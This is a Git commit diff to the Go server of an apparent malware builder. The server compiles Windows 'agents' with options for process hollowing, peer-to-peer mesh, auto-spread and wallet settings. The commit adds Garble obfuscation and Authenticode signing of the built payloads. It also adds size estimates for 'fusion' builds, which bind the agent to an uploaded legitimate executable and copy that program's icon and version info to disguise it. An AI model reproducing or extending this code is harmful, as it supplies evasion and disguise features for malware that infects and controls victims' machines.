Add forge pipeline polish, simple forge UX, and fleet management upgrades.
Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
@@ -65,6 +65,8 @@ type BuildRequest struct {
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
}
|
||||
|
||||
type BuildResponse struct {
|
||||
@@ -82,6 +84,8 @@ type BuildResponse struct {
|
||||
UninstallExportPath string `json:"uninstall_export_path,omitempty"`
|
||||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||||
WorkerFile string `json:"worker_file,omitempty"`
|
||||
Signed bool `json:"signed,omitempty"`
|
||||
Obfuscated bool `json:"obfuscated,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
@@ -91,12 +95,24 @@ type Handler struct {
|
||||
agentSrcDir string
|
||||
projectRoot string
|
||||
goBinPath string
|
||||
garblePath string
|
||||
goWinresPath string
|
||||
serverModDir string
|
||||
policy BuildPolicy
|
||||
}
|
||||
|
||||
type SignPolicy struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
CertThumbprint string `json:"cert_thumbprint"`
|
||||
ToolPath string `json:"tool_path"`
|
||||
TimestampURL string `json:"timestamp_url"`
|
||||
}
|
||||
|
||||
type BuildPolicy struct {
|
||||
StrictWalletValidation bool
|
||||
MaxBuildSizeMB int
|
||||
DefaultObfuscate bool
|
||||
Sign SignPolicy
|
||||
}
|
||||
|
||||
func (h *Handler) SetBuildPolicy(p BuildPolicy) {
|
||||
@@ -108,13 +124,15 @@ func NewHandler(database *db.Database, dataDir string, agentSrcDir string, proje
|
||||
if _, err := exec.LookPath("go"); err == nil {
|
||||
goBin = "go"
|
||||
}
|
||||
return &Handler{
|
||||
h := &Handler{
|
||||
db: database,
|
||||
dataDir: dataDir,
|
||||
agentSrcDir: agentSrcDir,
|
||||
projectRoot: projectRoot,
|
||||
goBinPath: goBin,
|
||||
}
|
||||
h.resolveToolPaths(projectRoot)
|
||||
return h
|
||||
}
|
||||
|
||||
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -198,6 +216,75 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, http.StatusOK, resp)
|
||||
}
|
||||
|
||||
func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
|
||||
var req BuildRequest
|
||||
var prepPath string
|
||||
var prepSize int64
|
||||
var prepName string
|
||||
var cleanupPrep func()
|
||||
|
||||
contentType := r.Header.Get("Content-Type")
|
||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||
if err := r.ParseMultipartForm(150 << 20); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
|
||||
return
|
||||
}
|
||||
configJSON := r.FormValue("config")
|
||||
if configJSON == "" {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"})
|
||||
return
|
||||
}
|
||||
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"})
|
||||
return
|
||||
}
|
||||
file, header, err := r.FormFile("prep_exe")
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"})
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
if header != nil {
|
||||
prepSize = header.Size
|
||||
prepName = header.Filename
|
||||
}
|
||||
saved, remove, err := h.saveUploadedPrep(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
prepPath = saved
|
||||
cleanupPrep = remove
|
||||
} else {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"})
|
||||
return
|
||||
}
|
||||
|
||||
if cleanupPrep != nil {
|
||||
defer cleanupPrep()
|
||||
}
|
||||
|
||||
if err := h.normalizeRequest(&req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
if !req.FusionEnabled {
|
||||
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"})
|
||||
return
|
||||
}
|
||||
if req.FusionOutputName == "" && prepName != "" {
|
||||
req.FusionOutputName = prepName
|
||||
}
|
||||
|
||||
est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName)
|
||||
writeJSON(w, http.StatusOK, est)
|
||||
}
|
||||
|
||||
func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||||
buildID := chi.URLParam(r, "id")
|
||||
build, err := h.db.GetBuild(buildID)
|
||||
@@ -265,18 +352,10 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
cmd := exec.Command(h.goBinPath, "build", "-trimpath", "-ldflags", ldflags, "-o", outputPath, ".")
|
||||
cmd.Dir = agentDir
|
||||
cmd.Env = append(os.Environ(),
|
||||
"GOOS=windows",
|
||||
"GOARCH=amd64",
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
output, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
log.Printf("Build failed: %v\nOutput: %s", err, string(output))
|
||||
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
||||
log.Printf("Build failed: %v", err)
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
finalPath := outputPath
|
||||
@@ -313,6 +392,17 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
}
|
||||
}
|
||||
|
||||
signed := false
|
||||
if h.shouldSignBuild(req) {
|
||||
if err := h.signExecutable(finalPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
signed = true
|
||||
if exportPath != "" && exportPath != finalPath {
|
||||
_ = h.signExecutable(exportPath)
|
||||
}
|
||||
}
|
||||
|
||||
fileInfo, err := os.Stat(finalPath)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||
@@ -364,6 +454,8 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
UninstallExportPath: "",
|
||||
FusionEnabled: fusionEnabled,
|
||||
WorkerFile: workerName,
|
||||
Signed: signed,
|
||||
Obfuscated: obfuscated,
|
||||
}, http.StatusOK, finalPath
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user